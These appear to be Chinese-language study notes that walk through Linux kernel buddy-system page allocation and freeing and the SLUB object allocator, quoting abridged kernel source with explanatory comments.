static inline void finalise_ac(gfp_t gfp_mask, struct alloc_context *ac)
{
/* Dirty zone balancing only done in the fast path */
ac->spread_dirty_pages = (gfp_mask & __GFP_WRITE);
// 从zone_list头部开始寻找匹配nodemask的zoneref
ac->preferred_zoneref = first_zones_zonelist(ac->zonelist,
ac->high_zoneidx, ac->nodemask);
}
#### get_page_from_freelist
static struct page *
get_page_from_freelist(gfp_t gfp_mask, unsigned int order, int alloc_flags,
const struct alloc_context *ac)
{
struct zoneref *z;
struct zone *zone;
struct pglist_data *last_pgdat_dirty_limit = NULL;
bool no_fallback;
retry:
/*
* Scan zonelist, looking for a zone with enough free.
*/
// ALLOC_NOFRAGMENT标志位由alloc_flags_nofragment()函数设置
// no_fallback: node->node_zonelists[]包含本node的zones以及备用zones, 设置fallback后可使用备用zones
no_fallback = alloc_flags & ALLOC_NOFRAGMENT;
z = ac->preferred_zoneref;
// 遍历zone
for_next_zone_zonelist_nodemask(zone, z, ac->zonelist, ac->high_zoneidx,
ac->nodemask) {
struct page *page;
unsigned long mark;
// 判断cpuset是否开启且当前CPU是否允许在内存域zone所在结点中分配内存
if (cpusets_enabled() &&
(alloc_flags & ALLOC_CPUSET) &&
!__cpuset_zone_allowed(zone, gfp_mask))
continue;
// ac->spread_dirty_pages不为0表示gfp_mask存在__GFP_WRITE标志位, 有可能增加脏页
if (ac->spread_dirty_pages) {
if (last_pgdat_dirty_limit == zone->zone_pgdat)
continue;
// 如果zone对应的node脏页超标则使用last_pgdat_dirty_limit标识, 并跳过该zone
if (!node_dirty_ok(zone->zone_pgdat)) {
last_pgdat_dirty_limit = zone->zone_pgdat;
continue;
}
}
// 如果设置no_fallback且当前zone并非preferred_zone, 则索引zone->node, 如果该node并非preferred_zone->node, 则取消ALLOC_NOFRAGMENT标志位即设置fallback(因为相比于内存碎片, 内存局部性更重要)
if (no_fallback && nr_online_nodes > 1 &&
zone != ac->preferred_zoneref->zone) {
int local_nid;
local_nid = zone_to_nid(ac->preferred_zoneref->zone);
if (zone_to_nid(zone) != local_nid) {
alloc_flags &= ~ALLOC_NOFRAGMENT;
goto retry;
}
}
// 获取该zone的水准, 并检查该zone的水位是否水准之上
mark = wmark_pages(zone, alloc_flags & ALLOC_WMARK_MASK);
if (!zone_watermark_fast(zone, order, mark,
ac_classzone_idx(ac), alloc_flags,
gfp_mask)) {
int ret;
// 如果存在ALLOC_NO_WATERMARKS标志位则忽略水位, 进入try_this_zone
if (alloc_flags & ALLOC_NO_WATERMARKS)
goto try_this_zone;
/*
static bool zone_allows_reclaim(struct zone *local_zone, struct zone *zone)
{
return node_distance(zone_to_nid(local_zone), zone_to_nid(zone)) <=
node_reclaim_distance;
}
*/
// 如果系统不允许回收内存或者preferred->zone与当前zone的node_distance大于node_reclaim_distance(默认30), 则更换zone
if (node_reclaim_mode == 0 ||
!zone_allows_reclaim(ac->preferred_zoneref->zone, zone))
continue;
// 内存回收
ret = node_reclaim(zone->zone_pgdat, gfp_mask, order);
switch (ret) {
case NODE_RECLAIM_NOSCAN:
/* did not scan */
continue;
case NODE_RECLAIM_FULL:
/* scanned but unreclaimable */
continue;
default:
// 内存回收后, 水位正常
if (zone_watermark_ok(zone, order, mark,
ac_classzone_idx(ac), alloc_flags))
goto try_this_zone;
continue;
}
}
try_this_zone:
// 伙伴算法开始分配页内存
page = rmqueue(ac->preferred_zoneref->zone, zone, order,
gfp_mask, alloc_flags, ac->migratetype);
if (page) {
prep_new_page(page, order, gfp_mask, alloc_flags);
if (unlikely(order && (alloc_flags & ALLOC_HARDER)))
reserve_highatomic_pageblock(page, zone, order);
return page;
} else {
}
##### rmqueue
static inline
struct page *rmqueue(struct zone *preferred_zone,
struct zone *zone, unsigned int order,
gfp_t gfp_flags, unsigned int alloc_flags,
int migratetype)
{
unsigned long flags;
struct page *page;
//如果分配单页, 则进入rmqueue_pcplist
if (likely(order == 0)) {
page = rmqueue_pcplist(preferred_zone, zone, gfp_flags,
migratetype, alloc_flags);
goto out;
}
// 不能使用__GFP_NOFAIL, 分配order>1的页
WARN_ON_ONCE((gfp_flags & __GFP_NOFAIL) && (order > 1));
// 使用自旋锁加锁zone资源
spin_lock_irqsave(&zone->lock, flags);
do {
page = NULL;
// ALLOC_HARDER表示高优先级分配, 进入__rmqueue_smallest
if (alloc_flags & ALLOC_HARDER) {
page = __rmqueue_smallest(zone, order, MIGRATE_HIGHATOMIC);
if (page)
// 用于debug的插桩设计
trace_mm_page_alloc_zone_locked(page, order, migratetype);
}
// 不满足上诉条件或page未分配成功, 进入__rmqueue
if (!page)
page = __rmqueue(zone, order, migratetype, alloc_flags);
} while (page && check_new_pages(page, order));
// check_new_pages遍历page_block中的struct page, 检查page成员, 如果出错则打印错误原因
spin_unlock(&zone->lock);
if (!page)
goto failed;
// page_block被分配后更新zone成员信息
__mod_zone_freepage_state(zone, -(1 << order),
get_pcppage_migratetype(page));
__count_zid_vm_events(PGALLOC, page_zonenum(page), 1 << order);
// 如果系统是NUMA架构, 则更新NUMA hit/miss 数据
zone_statistics(preferred_zone, zone);
// 恢复中断信息
local_irq_restore(flags);
out:
/* Separate test+clear to avoid unnecessary atomics */
if (test_bit(ZONE_BOOSTED_WATERMARK, &zone->flags)) {
clear_bit(ZONE_BOOSTED_WATERMARK, &zone->flags);
wakeup_kswapd(zone, 0, 0, zone_idx(zone));
}
// 编译阶段的变量类型检查
VM_BUG_ON_PAGE(page && bad_range(zone, page), page);
return page;
failed:
local_irq_restore(flags);
return NULL;
}
###### rmqueue_pcplis
static struct page *rmqueue_pcplist(struct zone *preferred_zone,
struct zone *zone, gfp_t gfp_flags,
int migratetype, unsigned int alloc_flags)
{
struct per_cpu_pages *pcp;
struct list_head *list;
struct page *page;
unsigned long flags;
// 禁用全部中断, 并将当前中断状态保存至flags
local_irq_save(flags);
// 获得当前cpu的pcp结构体(热页)
pcp = &this_cpu_ptr(zone->pageset)->pcp;
// 根据迁移类型选择热页链表
list = &pcp->lists[migratetype];
// 在list中分配内存页
page = __rmqueue_pcplist(zone, migratetype, alloc_flags, pcp, list);
if (page) {
__count_zid_vm_events(PGALLOC, page_zonenum(page), 1);
// Update NUMA hit/miss statistics
zone_statistics(preferred_zone, zone);
}
// 恢复中断状态并开中断
local_irq_restore(flags);
return page;
}
> * __rmqueue_pcplist
>
static struct page *__rmqueue_pcplist(struct zone *zone, int migratetype,
unsigned int alloc_flags,
struct per_cpu_pages *pcp,
struct list_head *list)
{
struct page *page;
do {
// 如果列表为空, 则使用rmqueue_bulk装载内存页进入列表
if (list_empty(list)) {
pcp->count += rmqueue_bulk(zone, 0,
pcp->batch, list,
migratetype, alloc_flags);
if (unlikely(list_empty(list)))
return NULL;
}
// 获得lru列表首部页结点
page = list_first_entry(list, struct page, lru);
// 将页结点从page->lru列表删除
list_del(&page->lru);
// 空闲page计数器-1
pcp->count--;
// 对page做安全检查
} while (check_new_pcp(page));
return page;
}
> > * rmqueue_bulk
>>
static int rmqueue_bulk(struct zone *zone, unsigned int order,
unsigned long count, struct list_head *list,
int migratetype, unsigned int alloc_flags)
{
int i, alloced = 0;
// 对zone资源加锁
spin_lock(&zone->lock);
for (i = 0; i < count; ++i) {
// 从zone中取出page放入pcp热页缓存列表, 直至pcp被填满
struct page *page = __rmqueue(zone, order, migratetype,
alloc_flags);
if (unlikely(page == NULL))
break;
// check_pcp_refill封装check_new_page
if (unlikely(check_pcp_refill(page)))
continue;
// 添加page至list->lru
list_add_tail(&page->lru, list);
alloced++;
// 如果page位于cma中, 则更新NR_FREE_CMA_PAGES
if (is_migrate_cma(get_pcppage_migratetype(page)))
__mod_zone_page_state(zone, NR_FREE_CMA_PAGES,
-(1 << order));
}
// 从zone摘取page_block过程循环了i次, 每个page_block包含2^i个page, NR_FREE_PAGES-i << order, 更新NR_FREE_PAGES
__mod_zone_page_state(zone, NR_FREE_PAGES, -(i << order));
// 解锁
spin_unlock(&zone->lock);
return alloced;
}
###### __rmqueue_smallest
static __always_inline
struct page *__rmqueue_smallest(struct zone *zone, unsigned int order,
int migratetype)
{
unsigned int current_order;
struct free_area *area;
struct page *page;
// 从指定order到MAX_ORDER遍历zone->free_area[]
for (current_order = order; current_order < MAX_ORDER; ++current_order) {
area = &(zone->free_area[current_order]);
// 从zone->free_area[][migratetype]->lru链表头部获得page()
page = get_page_from_free_area(area, migratetype);
if (!page)
continue;
// 从zone->free_area[][migratetype]->lru中删除page, 更新zone成员
del_page_from_free_area(page, area);
// 将current_order阶的page_block拆成小块,并将小块放到对应的阶的链表中去
expand(zone, page, order, current_order, area, migratetype);
// 设置page迁移类型
set_pcppage_migratetype(page, migratetype);
return page;
}
return NULL;
}
###### __rmqueue
static __always_inline struct page *
__rmqueue(struct zone *zone, unsigned int order, int migratetype,
unsigned int alloc_flags)
{
struct page *page;
retry:
// 使用__rmqueue_smallest获得page
page = __rmqueue_smallest(zone, order, migratetype);
if (unlikely(!page)) {
// page分配失败后, 如果迁移类型是MIGRATE_MOVABLE, 进入__rmqueue_cma_fallback
if (migratetype == MIGRATE_MOVABLE)
page = __rmqueue_cma_fallback(zone, order);
// page分配再次失败后使用判断是否可以使用备用迁移类型(如果可以则修改order, migratetype)然后跳转进入retry
if (!page && __rmqueue_fallback(zone, order, migratetype,
alloc_flags))
goto retry;
}
trace_mm_page_alloc_zone_locked(page, order, migratetype);
return page;
}
> * __rmqueue_fallback
>
1. 备用迁移类型
static int fallbacks[MIGRATE_TYPES][4] = {
[MIGRATE_UNMOVABLE] = { MIGRATE_RECLAIMABLE, MIGRATE_MOVABLE, MIGRATE_TYPES },
[MIGRATE_MOVABLE] = { MIGRATE_RECLAIMABLE, MIGRATE_UNMOVABLE, MIGRATE_TYPES },
[MIGRATE_RECLAIMABLE] = { MIGRATE_UNMOVABLE, MIGRATE_MOVABLE, MIGRATE_TYPES },
#ifdef CONFIG_CMA
#endif
#ifdef CONFIG_MEMORY_ISOLATION
#endif
};
2. __rmqueue_fallback
static __always_inline bool
__rmqueue_fallback(struct zone *zone, int order, int start_migratetype,
unsigned int alloc_flags)
{
struct free_area *area;
int current_order;
int min_order = order;
struct page *page;
int fallback_mt;
bool can_steal;
// 如果设置alloc_flags为ALLOC_NOFRAGMENT(内存碎片优化), min_order=pageblock_order(MAX_ORDER-1)---尽可能分配大页
if (alloc_flags & ALLOC_NOFRAGMENT)
min_order = pageblock_order;
// 遍历zone->free_area[order](order=MAX_ORDER-1~min_order)
for (current_order = MAX_ORDER - 1; current_order >= min_order;
--current_order) {
area = &(zone->free_area[current_order]);
// 查找可以盗取的迁移类型
fallback_mt = find_suitable_fallback(area, current_order,
start_migratetype, false, &can_steal);
if (fallback_mt == -1)
continue;
// 如果can_steal=0且迁移类型为MIGRATE_MOVABLE, 当前所在的order大于需求order, 跳转进入find_smallest
// 这里的can_steal=0并不表示不能盗取, 只是对于迁移类型为MIGRATE_MOVABLE的内存分配需求有更好的解决方法(窃取和拆分最小的可用页块而不是最大的可用页块)所以单独列出
if (!can_steal && start_migratetype == MIGRATE_MOVABLE
&& current_order > order)
goto find_smallest;
goto do_steal;
}
return false;
find_smallest:
// 从最小的order开始遍历
for (current_order = order; current_order < MAX_ORDER;
current_order++) {
area = &(zone->free_area[current_order]);
fallback_mt = find_suitable_fallback(area, current_order,
start_migratetype, false, &can_steal);
if (fallback_mt != -1)
break;
}
VM_BUG_ON(current_order == MAX_ORDER);
do_steal:
// 获得备用迁移类型对应的page_block
page = get_page_from_free_area(area, fallback_mt);
// 判断直接盗取(改变page_block的迁移类型), 还是借用(分配但不改变页块迁移类型)
steal_suitable_fallback(zone, page, alloc_flags, start_migratetype,
can_steal);
trace_mm_page_alloc_extfrag(page, order, current_order,
start_migratetype, fallback_mt);
return true;
}
> > * find_suitable_fallback
>>
int find_suitable_fallback(struct free_area *area, unsigned int order,
int migratetype, bool only_stealable, bool *can_steal)
{
int i;
int fallback_mt;
// 判断该order内存链表是否为空
if (area->nr_free == 0)
return -1;
*can_steal = false;
for (i = 0;; i++) {
// 遍历备用迁移类型
fallback_mt = fallbacks[migratetype][i];
// MIGRATE_TYPES表示不可用, 退出
if (fallback_mt == MIGRATE_TYPES)
break;
// 如果area->free_list[fallback_mt]为空, 遍历下一个备用迁移类型
if (free_area_empty(area, fallback_mt))
continue;
// 判断是否可盗取
if (can_steal_fallback(order, migratetype))
*can_steal = true;
if (!only_stealable)
return fallback_mt;
if (*can_steal)
return fallback_mt;
}
return -1;
}
> > > * can_steal_fallback
>>>
static bool can_steal_fallback(unsigned int order, int start_mt)
{
// 判断order是否大于等于MAX_ORDER-1
if (order >= pageblock_order)
return true;
// 如果order>=(MAX_ORDER-1)/2 或者 迁移类型为MIGRATE_RECLAIMABLE, MIGRATE_UNMOVABLE 或者 page_group_by_mobility_disabled=1(gdb动调发现默认为0) 则表示可以盗取
if (order >= pageblock_order / 2 ||
start_mt == MIGRATE_RECLAIMABLE ||
start_mt == MIGRATE_UNMOVABLE ||
page_group_by_mobility_disabled)
return true;
return false;
}
#### _alloc_pages_slowpath
static inline struct page *
__alloc_pages_slowpath(gfp_t gfp_mask, unsigned int order,
struct alloc_context *ac)
{
bool can_direct_reclaim = gfp_mask & __GFP_DIRECT_RECLAIM;
// PAGE_ALLOC_COSTLY_ORDER=3
const bool costly_order = order > PAGE_ALLOC_COSTLY_ORDER;
struct page *page = NULL;
unsigned int alloc_flags;
unsigned long did_some_progress;
enum compact_priority compact_priority;
enum compact_result compact_result;
int compaction_retries;
int no_progress_loops;
unsigned int cpuset_mems_cookie;
int reserve_flags;
// 如果内存分配标志包含__GFP_ATOMIC(来自不能阻塞或延迟和失败没有回调的原子上下文的请求), __GFP_DIRECT_RECLAIM(可以直接回收, 表示有回收需要时会阻塞请求), 明显二者冲突, 此处做一个校验
if (WARN_ON_ONCE((gfp_mask & (__GFP_ATOMIC|__GFP_DIRECT_RECLAIM)) ==
(__GFP_ATOMIC|__GFP_DIRECT_RECLAIM)))
gfp_mask &= ~__GFP_ATOMIC;
retry_cpuset:
compaction_retries = 0;
no_progress_loops = 0;
compact_priority = DEF_COMPACT_PRIORITY;
cpuset_mems_cookie = read_mems_allowed_begin();
// 降低要求, 重新构建标志位
alloc_flags = gfp_to_alloc_flags(gfp_mask);
ac->preferred_zoneref = first_zones_zonelist(ac->zonelist,
ac->high_zoneidx, ac->nodemask);
if (!ac->preferred_zoneref->zone)
goto nopage;
// 如果设置了ALLOC_KSWAPD, 则唤醒交换进程
if (alloc_flags & ALLOC_KSWAPD)
wake_all_kswapds(order, gfp_mask, ac);
// 内存调整后再次分配
page = get_page_from_freelist(gfp_mask, order, alloc_flags, ac);
if (page)
goto got_pg;
// 如果满足以下条件则尝试进行内存压缩
// 1. 如果标识__GFP_DIRECT_RECLAIM&ALLOC_NO_WATERMARK且order>3(costly_order=1)则进入__alloc_pages_direct_compact
// 2. 如果标识__GFP_DIRECT_RECLAIM&ALLOC_NO_WATERMARK且order<3(costly_order=0)且迁移类型不为MIGRATE_MOVABLE则进入__alloc_pages_direct_compact
if (can_direct_reclaim &&
(costly_order ||
(order > 0 && ac->migratetype != MIGRATE_MOVABLE))
&& !gfp_pfmemalloc_allowed(gfp_mask)) {
page = __alloc_pages_direct_compact(gfp_mask, order,
alloc_flags, ac,
INIT_COMPACT_PRIORITY,
&compact_result);
if (page)
goto got_pg;
// 设置压缩参数, 后面会专门讲解这部分
if (order >= pageblock_order && (gfp_mask & __GFP_IO) &&
!(gfp_mask & __GFP_RETRY_MAYFAIL)) {
if (compact_result == COMPACT_SKIPPED ||
compact_result == COMPACT_DEFERRED)
goto nopage;
}
if (costly_order && (gfp_mask & __GFP_NORETRY)) {
if (compact_result == COMPACT_DEFERRED)
goto nopage;
compact_priority = INIT_COMPACT_PRIORITY;
}
}
retry:
// 再次唤醒交换进程
if (alloc_flags & ALLOC_KSWAPD)
wake_all_kswapds(order, gfp_mask, ac);
reserve_flags = __gfp_pfmemalloc_flags(gfp_mask);
if (reserve_flags)
alloc_flags = reserve_flags;
// 如果cpu不允许在zone所在node中分配内存且可以进行no_water_mark分配则通过ac->nodemask = NULL降低内存分配标准, 再次分配
if (!(alloc_flags & ALLOC_CPUSET) || reserve_flags) {
ac->nodemask = NULL;
ac->preferred_zoneref = first_zones_zonelist(ac->zonelist,
ac->high_zoneidx, ac->nodemask);
}
page = get_page_from_freelist(gfp_mask, order, alloc_flags, ac);
if (page)
goto got_pg;
if (!can_direct_reclaim)
goto nopage;
if (current->flags & PF_MEMALLOC)
goto nopage;
// 内存回收后分配内存
page = __alloc_pages_direct_reclaim(gfp_mask, order, alloc_flags, ac,
&did_some_progress);
if (page)
goto got_pg;
// 内存压缩后分配内存
page = __alloc_pages_direct_compact(gfp_mask, order, alloc_flags, ac,
compact_priority, &compact_result);
if (page)
goto got_pg;
if (gfp_mask & __GFP_NORETRY)
goto nopage;
if (costly_order && !(gfp_mask & __GFP_RETRY_MAYFAIL))
goto nopage;
// 分析是否应该再次内存回收
if (should_reclaim_retry(gfp_mask, order, ac, alloc_flags,
did_some_progress > 0, &no_progress_loops))
goto retry;
// 分析是否应该再次内存压缩
if (did_some_progress > 0 &&
should_compact_retry(ac, order, alloc_flags,
compact_result, &compact_priority,
&compaction_retries))
goto retry;
if (check_retry_cpuset(cpuset_mems_cookie, ac))
goto retry_cpuset;
// 杀死一些进程以获得内存
page = __alloc_pages_may_oom(gfp_mask, order, ac, &did_some_progress);
if (page)
goto got_pg;
if (tsk_is_oom_victim(current) &&
(alloc_flags == ALLOC_OOM ||
(gfp_mask & __GFP_NOMEMALLOC)))
goto nopage;
if (did_some_progress) {
no_progress_loops = 0;
goto retry;
}
nopage:
if (check_retry_cpuset(cpuset_mems_cookie, ac))
goto retry_cpuset;
if (gfp_mask & __GFP_NOFAIL) {
if (WARN_ON_ONCE(!can_direct_reclaim))
goto fail;
WARN_ON_ONCE(current->flags & PF_MEMALLOC);
WARN_ON_ONCE(order > PAGE_ALLOC_COSTLY_ORDER);
// 使用ALLOC_HARDER标志进行内存分配
page = __alloc_pages_cpuset_fallback(gfp_mask, order, ALLOC_HARDER, ac);
if (page)
goto got_pg;
cond_resched();
goto retry;
}
fail:
warn_alloc(gfp_mask, ac->nodemask,
"page allocation failure: order:%u", order);
got_pg:
return page;
}
## _free_pages源码分析
void __free_pages(struct page *page, unsigned int order)
{
// 检查并更新(-1)page->_refcount, 当page->_refcount=0时, return true
if (put_page_testzero(page))
// 如果order=0 --> free_unref_page
// 如果order>0 --> __free_pages_ok
free_the_page(page, order);
}
### free_unref_page
* free_unref_page -> free_unref_page_commit
static void free_unref_page_commit(struct page *page, unsigned long pfn)
{
struct zone *zone = page_zone(page);
struct per_cpu_pages *pcp;
int migratetype;
// 获得迁移类型
migratetype = get_pcppage_migratetype(page);
__count_vm_event(PGFREE);
// pcp_list 只放置unmovable, reclaimable, movable类型page
// 大于等于MIGRATE_PCPTYPES的迁移类型中MIGRATE_ISOLATE不能被放入pcp
if (migratetype >= MIGRATE_PCPTYPES) {
if (unlikely(is_migrate_isolate(migratetype))) {
// 放入伙伴系统
free_one_page(zone, page, pfn, 0, migratetype);
return;
}
migratetype = MIGRATE_MOVABLE;
}
pcp = &this_cpu_ptr(zone->pageset)->pcp;
// 将page放入pcp->lists[migratetype]链表表头
list_add(&page->lru, &pcp->lists[migratetype]);
pcp->count++;
// 如果pcp->count(pcp中页数目) >= pcp->high(pcp中最大页数目), 则将多余的page放入伙伴系统
if (pcp->count >= pcp->high) {
unsigned long batch = READ_ONCE(pcp->batch);
free_pcppages_bulk(zone, batch, pcp);
}
}
#### free_pcppages_bulk
static void free_pcppages_bulk(struct zone *zone, int count,
struct per_cpu_pages *pcp)
{
int migratetype = 0;
int batch_free = 0;
int prefetch_nr = 0;
bool isolated_pageblocks;
struct page *page, *tmp;
LIST_HEAD(head);
count = min(pcp->count, count);
// 通过循环遍历迁移类型列表, 依次递增删除页数(batch_free)
while (count) {
struct list_head *list;
do {
batch_free++;
// 循环查询pcp->lists[migratetype]
if (++migratetype == MIGRATE_PCPTYPES)
migratetype = 0;
list = &pcp->lists[migratetype];
} while (list_empty(list));
// 只有一个迁移类型非空, 在这里释放全部count
if (batch_free == MIGRATE_PCPTYPES)
batch_free = count;
do {
// 从列表尾部获得page
page = list_last_entry(list, struct page, lru);
list_del(&page->lru);
pcp->count--;
if (bulkfree_pcp_prepare(page))
continue;
// 将取出的page全部放入以head为头的链表中
list_add_tail(&page->lru, &head);
// 数据预取可以加快速度
if (prefetch_nr++ < pcp->batch)
prefetch_buddy(page);
} while (--count && --batch_free && !list_empty(list));
}
spin_lock(&zone->lock);
isolated_pageblocks = has_isolate_pageblock(zone);
list_for_each_entry_safe(page, tmp, &head, lru) {
// 获得迁移类型
int mt = get_pcppage_migratetype(page);
// 迁移类型不能是isolated
VM_BUG_ON_PAGE(is_migrate_isolate(mt), page);
if (unlikely(isolated_pageblocks))
mt = get_pageblock_migratetype(page);
// 释放page进入伙伴算法
__free_one_page(page, page_to_pfn(page), zone, 0, mt);
trace_mm_page_pcpu_drain(page, 0, mt);
}
spin_unlock(&zone->lock);
}
### __free_pages_ok
* __free_pages_ok -> free_one_page
static void free_one_page(struct zone *zone,
struct page *page, unsigned long pfn,
unsigned int order,
int migratetype)
{
spin_lock(&zone->lock);
// 判断zone是否存在isolate迁移类型, page是否是isolate迁移类型(一般没有这个配置)
if (unlikely(has_isolate_pageblock(zone) ||
is_migrate_isolate(migratetype))) {
migratetype = get_pfnblock_migratetype(page, pfn);
}
__free_one_page(page, pfn, zone, order, migratetype);
spin_unlock(&zone->lock);
}
#### __free_one_page
static inline void __free_one_page(struct page *page,
unsigned long pfn,
struct zone *zone, unsigned int order,
int migratetype)
{
unsigned long combined_pfn;
unsigned long uninitialized_var(buddy_pfn);
struct page *buddy;
unsigned int max_order;
struct capture_control *capc = task_capc(zone);
max_order = min_t(unsigned int, MAX_ORDER, pageblock_order + 1);
VM_BUG_ON(!zone_is_initialized(zone));
VM_BUG_ON_PAGE(page->flags & PAGE_FLAGS_CHECK_AT_PREP, page);
VM_BUG_ON(migratetype == -1);
if (likely(!is_migrate_isolate(migratetype)))
// 更新zone状态
__mod_zone_freepage_state(zone, 1 << order, migratetype);
VM_BUG_ON_PAGE(pfn & ((1 << order) - 1), page);
VM_BUG_ON_PAGE(bad_range(zone, page), page);
continue_merging:
// 循环遍历直到order = max_order - 1
while (order < max_order - 1) {
if (compaction_capture(capc, page, order, migratetype)) {
__mod_zone_freepage_state(zone, -(1 << order),
migratetype);
return;
}
// buddy_pfn = page_pfn ^ (1 << order);
// 定位兄弟页
buddy_pfn = __find_buddy_pfn(pfn, order);
// 获得兄弟页的struct page
buddy = page + (buddy_pfn - pfn);
// 判断buddy_pfn是否有效
if (!pfn_valid_within(buddy_pfn))
goto done_merging;
// 1. buddy_ord == order
// 2. buddy_zone == zone
// 3. buddy->_refcount == 0
// 若满足以上条件则buddy可合并
if (!page_is_buddy(page, buddy, order))
goto done_merging;
// it is CONFIG_DEBUG_PAGEALLOC guard page
if (page_is_guard(buddy))
clear_page_guard(zone, buddy, order, migratetype);
else
// 将buddy从对应free_area[order]中删除
del_page_from_free_area(buddy, &zone->free_area[order]);
// 设置合并页的struct page以及pfn
combined_pfn = buddy_pfn & pfn;
page = page + (combined_pfn - pfn);
pfn = combined_pfn;
order++;
}
if (max_order < MAX_ORDER) {
/* If we are here, it means order is >= pageblock_order.
* We want to prevent merge between freepages on isolate
* pageblock and normal pageblock. Without this, pageblock
* isolation could cause incorrect freepage or CMA accounting.
*
* We don't want to hit this code for the more frequent
* low-order merging.
*/
if (unlikely(has_isolate_pageblock(zone))) {
int buddy_mt;
buddy_pfn = __find_buddy_pfn(pfn, order);
buddy = page + (buddy_pfn - pfn);
buddy_mt = get_pageblock_migratetype(buddy);
if (migratetype != buddy_mt
&& (is_migrate_isolate(migratetype) ||
is_migrate_isolate(buddy_mt)))
goto done_merging;
}
max_order++;
goto continue_merging;
}
done_merging:
// 设置page的阶数, 将page标记为伙伴系统页
set_page_order(page, order);
// 如果page并不是最大的page, 检查伙伴页是否是free状态的, 如果是, 但是上述步骤合并失败则有可能伙伴页正在被释放, 这时候应该把page放在zone->free_area[order]尾部(延缓page被分配出去), 这样等伙伴页释放完成后就可以一起被合并成更大的page了
if ((order < MAX_ORDER-2) && pfn_valid_within(buddy_pfn)
&& !is_shuffle_order(order)) {
struct page *higher_page, *higher_buddy;
combined_pfn = buddy_pfn & pfn;
higher_page = page + (combined_pfn - pfn);
buddy_pfn = __find_buddy_pfn(combined_pfn, order + 1);
higher_buddy = higher_page + (buddy_pfn - combined_pfn);
if (pfn_valid_within(buddy_pfn) &&
page_is_buddy(higher_page, higher_buddy, order + 1)) {
// 把page置入zone->free_area[order]链表尾部
add_to_free_area_tail(page, &zone->free_area[order],
migratetype);
return;
}
}
if (is_shuffle_order(order))
// 获得随机数, 随机决定放在头还是尾???
add_to_free_area_random(page, &zone->free_area[order],
migratetype);
else
// 把page置入zone->free_area[order]链表头部
add_to_free_area(page, &zone->free_area[order], migratetype);
}
## slub算法
* slab_debug 下的object:
* kmem_cache缓冲区建立后, 所有内存空间用POISON_INUSE(0X5a)填充
* object被释放后用POISON_FREE(0X6b)填充
* read_left_pad, red_zone用特殊字节填充, 用作magic_num
* kmem_cache_alloc概略图
* kmem_cache_free概略图
### 结构体解析
* kmem_cache结构体
struct kmem_cache {
struct kmem_cache_cpu __percpu *cpu_slab; // per cpu变量, cpu本地内存缓存池, 存储slab
slab_flags_t flags; // object分配掩码
unsigned long min_partial; // kmem_cache_node中的partial链表slab的数量上限, 超过限度多余的slab会被释放
unsigned int size; // 被分配的object真实大小
unsigned int object_size; // 用户申请的obj_size
unsigned int offset; // slub将要被分配出去的obj中存储下一个空闲obj指针(next_obj), 而存储这个空闲obj指针的地址就用obj->offset来表示
#ifdef CONFIG_SLUB_CPU_PARTIAL
unsigned int cpu_partial; // 如果cpu_slab中存在partial链表, 那么该值将作为partial链表数量上限, 超过上限后全部slab将被转移到kmem_cache_node中的partial链表
#endif
struct kmem_cache_order_objects oo; // 低16位代表一个slab中所有object的数量(oo & ((1 << 16) - 1)), 高16位代表一个slab管理的page数量((2^(oo 16)) pages)
struct kmem_cache_order_objects max; // max=oo, 表示最大分配量
struct kmem_cache_order_objects min; // min功能与oo, max相同, 表示最小分配量
gfp_t allocflags; // 从伙伴系统继承的内存掩码
int refcount; // 重用计数器, 当用户请求创建的slub分配器大小与已经创建的slub分配器相似时, 计数+1, 进行slub重用
unsigned int inuse; // 元数据偏移量
unsigned int align; // 字节对齐大小
const char *name; // sysfs文件系统显示使用
struct list_head list; // 挂载所有的slab
...
struct kmem_cache_node *node[MAX_NUMNODES]; // slab节点
};
* kmem_cache_cpu结构体
struct kmem_cache_cpu {
void **freelist; // 指向下一个可用空闲obj
unsigned long tid; // 相当于cpu的标识, 用于辨别cpu是否被抢占, 用于同步
struct page *page; // 当前正在被分配的slab
#ifdef CONFIG_SLUB_CPU_PARTIAL
struct page *partial; // 指向曾分配完所有的obj，但当前已回收至少一个对象的slab
#endif
};
* kmem_cache_node结构体
struct kmem_cache_node {
spinlock_t list_lock; // 保护node资源的自旋锁
#ifdef CONFIG_SLUB
unsigned long nr_partial; // 本结点partial_slab数目
struct list_head partial; // partial_slab链表
#endif
};
## kmem_cache_alloc源码分析
* kmem_cache_alloc() -> slab_alloc() -> slab_alloc_node()
static __always_inline void *slab_alloc_node(struct kmem_cache *s,
gfp_t gfpflags, int node, unsigned long addr)
{
void *object;
struct kmem_cache_cpu *c;
struct page *page;
unsigned long tid;
// 对keme_cache做预处理
s = slab_pre_alloc_hook(s, gfpflags);
if (!s)
return NULL;
redo:
// tid, c是通过两次读取cpu获得, 如果抢占模式被开启, 有可能两次获取的cpu不同, 这里每次读取tid和c之后都会比较tid是否等于c->tid, 如果不相等, 则说明两次数据读取对应的cpu不同, 则再次读取数据, 直至相同(构造的很精巧, 比关闭抢占提升了效率)
do {
tid = this_cpu_read(s->cpu_slab->tid);
c = raw_cpu_ptr(s->cpu_slab);
} while (IS_ENABLED(CONFIG_PREEMPT) &&
unlikely(tid != READ_ONCE(c->tid)));
// 屏障, 保证上面和下面的代码因为优化而相互影响
barrier();
object = c->freelist;
page = c->page;
// 如果当前cpu的空闲列表为空或当前正在使用的页为空或page->node与node不匹配则进入__slab_alloc慢分配
if (unlikely(!object || !page || !node_match(page, node))) {
object = __slab_alloc(s, gfpflags, node, addr, c);
stat(s, ALLOC_SLOWPATH);
} else {
// freepointer_addr = (unsigned long)object + s->offset;
// probe_kernel_read(&p, (void **)freepointer_addr, sizeof(p));
// return freelist_ptr(s, p, freepointer_addr);
// get_freepointer_safe: 通过s->offset偏移获得存储下一个空闲obj的地址, 然后使用probe_kernel_read安全的将obj地址写入p中, freelist_ptr在没有定义CONFIG_SLAB_FREELIST_HARDENED时直接返回p
void *next_object = get_freepointer_safe(s, object);
// 判断this_cpu(s->cpu_slab->freelist)是否等于object且this_cpu(s->cpu_slab->tid)是否等于tid, 如果成立则this_cpu(s->cpu_slab->freelist)=next_object, this_cpu(s->cpu_slab->tid)=tid+1, 否则return false
// this_cpu_cmpxchg_double将上诉操作变成原子操作
if (unlikely(!this_cpu_cmpxchg_double(
s->cpu_slab->freelist, s->cpu_slab->tid,
object, tid,
next_object, next_tid(tid)))) {
// 如果失败则重新获取obj
note_cmpxchg_failure("slab_alloc", s, tid);
goto redo;
}
// 预热链表, 增加下次命中几率
prefetch_freepointer(s, next_object);
// 记录状态
stat(s, ALLOC_FASTPATH);
}
maybe_wipe_obj_freeptr(s, object);
if (unlikely(slab_want_init_on_alloc(gfpflags, s)) && object)
memset(object, 0, s->object_size);
